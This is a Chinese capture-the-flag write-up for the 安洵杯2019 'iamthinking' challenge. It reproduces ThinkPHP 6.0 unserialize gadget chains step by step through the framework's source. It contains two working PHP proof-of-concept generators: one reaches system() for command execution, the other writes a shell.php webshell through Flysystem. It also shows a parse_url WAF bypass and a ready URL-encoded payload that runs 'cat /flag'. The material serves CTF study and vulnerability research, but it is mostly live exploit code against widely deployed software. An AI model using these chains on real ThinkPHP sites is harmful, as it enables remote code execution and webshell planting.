从[安洵杯2019]iamthinking到thinkphp6.0反序列化漏洞复现
环境搭建
1.访问www.zip下载源码,本地phpstrom中/public目录下搭建本地环境:php -S localhost:11702
代码审计
链子一
1.thinkphp6的漏洞修复点在于删除了thinkphp5中的thinkphp/library/think/process/pipes/Windows.php
入口点以及删除了后面一些功能。使其无法作为触发__tostring()
起点的方法进行序列化。
2.所以需要另找__tostring
起点,全局在vendor
类库目录下搜索__destruct
方法,一共找到两个符合条件的,分别是\League\Flysystem\Cached\Storage\AbstractCache
和\think\Model
,它们都能进入该方法后调用子类的save()方法。
3.先进入Model::__destruct
中的save方法,跟进save()方法,然后我们需要进入Model::updateData
方法。首先我们需要让$this->isEmpty()
为假,该函数返回的是return empty($this->data);
,所以让$this->data
值不为空;接下来就是$this->trigger('BeforeWrite')
,这个进入后只需要让$this->withEvent
为假即可返回true。最后就是让$this->exists
为真即可进入。
public function save(array $data = [], string $sequence = null): bool
{
// 数据对象赋值
$this->setAttrs($data);
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
if (false === $result) {
return false;
}
// 写入回调
$this->trigger('AfterWrite');
// 重新记录原始数据
$this->origin = $this->data;
$this->set = [];
$this->lazySave = false;
return true;
}
4.接下来继续需要进入到$this->checkAllowFields()
,首先要让$data = $this->getChangedData()
不为空绕过第一个if,如下所示,只需要让$this->force ? $this->data
这两个属性均为真即可往下进入到checkAllowFields()
。
protected function updateData(): bool
{
// 事件回调
if (false === $this->trigger('BeforeUpdate')) {
return false;
}
$this->checkData();
// 获取有更新的数据
$data = $this->getChangedData();
if (empty($data)) {
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
return true;
}
if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {
// 自动写入更新时间
$data[$this->updateTime] = $this->autoWriteTimestamp($this->updateTime);
$this->data[$this->updateTime] = $data[$this->updateTime];
}
// 检查允许字段
$allowFields = $this->checkAllowFields();
................
public function getChangedData(): array
{
$data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
if ((empty($a) || empty($b)) && $a !== $b) {
return 1;
}
return is_object($a) || $a != $b ? 1 : 0;
});
// 只读字段不允许更新
foreach ($this->readonly as $key => $field) {
if (isset($data[$field])) {
unset($data[$field]);
}
}
return $data;
}
5.跟进,在第一个if检测字段else中采用了字符拼接$this->table . $this->suffix
,在这就能触发__tostring
方法。
protected function checkAllowFields(): array
{
// 检测字段
if (empty($this->field)) {
if (!empty($this->schema)) {
$this->field = array_keys(array_merge($this->schema, $this->jsonType));
} else {
$table = $this->table ? $this->table . $this->suffix : $query->getTable();
$this->field = $query->getConnection()->getTableFields($table);
}
return $this->field;
}
$field = $this->field;
if ($this->autoWriteTimestamp) {
array_push($field, $this->createTime, $this->updateTime);
}
if (!empty($this->disuse)) {
// 废弃字段
$field = array_diff($field, $this->disuse);
}
return $field;
}
6.因为该方法是抽象类,需要找一个可以实例化的子类,点击继承发现子类class Pivot
。找tp5的__tostring()
方法,套娃式进入toArray()
方法,然后原本的漏洞点是触发__call
最后触发call_user_func
方法的,可是下面追加属性的功能来触发__call
被修复了。进入到关联模型对象if中的$this->getAttr()
方法中,首先需要让isset($this->visible[$key]
为真,$key
是$data = array_merge($this->data, $this->relation);
的键值。
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
7.继续跟进getAttr()方法,通过getData()然后返回getValue()方法,最后再该方法中找到命令执行点$value = $closure($value, $this->data);
。
protected function getValue(string $name, $value, $relation = false)
{
// 检测属性获取器
$fieldName = $this->getRealFieldName($name);
$method = 'get' . Str::studly($name) . 'Attr';
if (isset($this->withAttr[$fieldName])) {
if ($relation) {
$value = $this->getRelationValue($relation);
}
if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($fieldName, $value);
} else {
//$fieldName = a
//withAttr[a] = system
$closure = $this->withAttr[$fieldName];
//value = system(ls,)
$value = $closure($value, $this->data);
}
} elseif (method_exists($this, $method)) {
if ($relation) {
$value = $this->getRelationValue($relation);
}
$value = $this->$method($value, $this->data);
} elseif (isset($this->type[$fieldName])) {
// 类型转换
$value = $this->readTransform($value, $this->type[$fieldName]);
} elseif ($this->autoWriteTimestamp && in_array($fieldName, [$this->createTime, $this->updateTime])) {
$value = $this->getTimestampValue($value);
} elseif ($relation) {
$value = $this->getRelationValue($relation);
// 保存关联对象值
$this->relation[$name] = $value;
}
return $value;
}
8.最后梳理一下代码逻辑;
Model::__desturct() -- $this->lazySave = 1
-> Model::save() -- $this->data = 1 ,$this->withEvent = 0,$this->exists = 1
-> Model::updateData() -- trait Attribute::getChangedData() $this->force = 1,$this->data = 1
-> Model::checkAllowFields() -- $this->table = 123,$this->suffix = new Pivot
-> trait Conversion::__tostring ->trait Conversion::toJson
-> trait Conversion::toArray() -- $key = $this->data = ['guangji' = > "whoami"]
//$key = "guangji"就是传入的$name
-> trait Attribute::getAttr(string $name) -- return $this->getValue($name, $value, $relation)
-> trait Attribute::getValue(string $name, $value, $relation = false) -- $fieldName = $this->getRealFieldName($name) $this->strict = 1 ==> $fieldName = "guangji"
-- $this->withAttr[$fieldName] = "system"
-> serialize(new Pivot);
poc1
<?php
namespace think\model\concern{
trait ModelEvent{
protected $withEvent = false;
}
trait Attribute{
protected $strict = true;
private $data = ["guangji" => "whoami"];
private $withAttr = ["guangji" => "system"];
}
trait Conversion{
}
}
namespace think{
abstract class Model {
use model\concern\Attribute;
use model\concern\Conversion;
use model\concern\ModelEvent;
private $lazySave;
private $exists;
private $force;
protected $table;
function __construct(){
$this->lazySave = true;
$this->exists = true;
$this->force = true;
$this->table = true;
}
}
}
namespace think\model {
use think\Model;
class Pivot extends Model
{
public function __construct($a = '')
{
parent::__construct();
$this->table = $a;
}
}
echo urlencode(serialize(new Pivot(new Pivot())));
}
注意
1.trait是为了解决php作为单继承语言无法从多父类继承方法和属性,从而引入的一个声明。当方法中想载入trait,就要通过use关键字使用它。
2.由于Model同时载入了trait Conversion和trait Attribute,我们需要通过抽象类Model的$table
属性或$suffix
来触发__tostring
方法,同时满足条件的属性也是在父类Model构造函数中初始化的。但由于Model是抽象类,无法实例化对象,只能找它的子类Pivot来创建对象,但是父类的属性又必须初始化才能满足条件,所以子类的构造函数必须调用父类的构造函数来初始化父类的属性以满足条件。又因为要触发__tostring
,所以创建的构造方法得有参数$a
来满足该条件。
3.如下,当我们执行完命令后,是通过调用不存在的$query
属性中方法抛出错误未定义变量:query
,然后直接返回执行命令的结果。
$table = $this->table ? $this->table . $this->suffix : $query->getTable();
$this->field = $query->getConnection()->getTableFields($table);
链子二
1.开头说明了有两个__destrut()
方法可以被利用,于是这条链子以League\Flysystem\Cached\Storage\AbstractCache::__destruct()
作为起点。当时属性$this->autosave
为假时,它调用接口的抽象方法save()。由于这是个抽象类,于是查找它子类的save()方法看看能不能有利用的。
public function __destruct()
{
if (! $this->autosave) {
$this->save();
}
}
2.在src/Storage/Adapter.php
中找到了要调用的方法,可以看到下面调用了$this->adapter->write()
方法。我们全局搜索write()
方法,在src/Adapter/Local.php
找到了可以被我们利用的write方法,
public function save()
{
$config = new Config();
$contents = $this->getForStorage();
if ($this->adapter->has($this->file)) {
$this->adapter->update($this->file, $contents, $config);
} else {
$this->adapter->write($this->file, $contents, $config);
}
}
3.可以看到,下面有file_put_contents
函数可以被我们利用写马。首先它的第一个参数也就是文件名是可以被我们所控制的$this->file
属性,写入的$contents
内容跟进Adapter::getForStorage()
方法去看。
public function write($path, $contents, Config $config)
{
$location = $this->applyPathPrefix($path);
$this->ensureDirectory(dirname($location));
if (($size = file_put_contents($location, $contents, $this->writeFlags)) === false) {
return false;
}
$type = 'file';
$result = compact('contents', 'type', 'size', 'path');
if ($visibility = $config->get('visibility')) {
$result['visibility'] = $visibility;
$this->setVisibility($path, $visibility);
}
return $result;
}
4.它是直接返回json加密的数组,也就是$this->complete
属性或$this->expire
属性随便其中一个拿来作为我们写入的文件内容即可
public function getForStorage()
{
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete, $this->expire]);
}
5.执行poc后,在public目录下可以看见shell.php已经被写入成功了。
poc2
<?php
namespace League\Flysystem\Cached\Storage{
use League\Flysystem\Adapter\Local;
abstract class AbstractCache{
protected $autosave = false;
}
class Adapter extends AbstractCache{
protected $expire;
protected $file;
protected $adapter;
function __construct(){
$this->expire = "<?php phpinfo();?>";
$this->file = "shell.php";
$this->adapter = new Local();
}
}
}
namespace League\Flysystem\Adapter{
abstract class AbstractAdapter{
protected $pathPrefix;
}
class Local extends AbstractAdapter{
}
}
namespace{
use League\Flysystem\Cached\Storage\Adapter;
echo urlencode(serialize(new Adapter()));
}
题解
1.首先本地环境的waf我是注释了的,然后主要就是parse_url绕过,直接用该函数的解析缺陷,demo:"///public/index.php?payload=1";
这会使函数解析url失败,返回false。
2.第二条文件写入的链子是用不了的,因为权限不足,无法创建目录。所以就用第一条链子生成的payload进行命令执行即可,payload:O%3A17%3A%22think%5Cmodel%5CPivot%22%3A8%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A8%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A9%3A%22%00%2A%00strict%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A7%3A%22guangji%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A7%3A%22guangji%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3B%7Ds%3A9%3A%22%00%2A%00strict%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A7%3A%22guangji%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A7%3A%22guangji%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3B%7D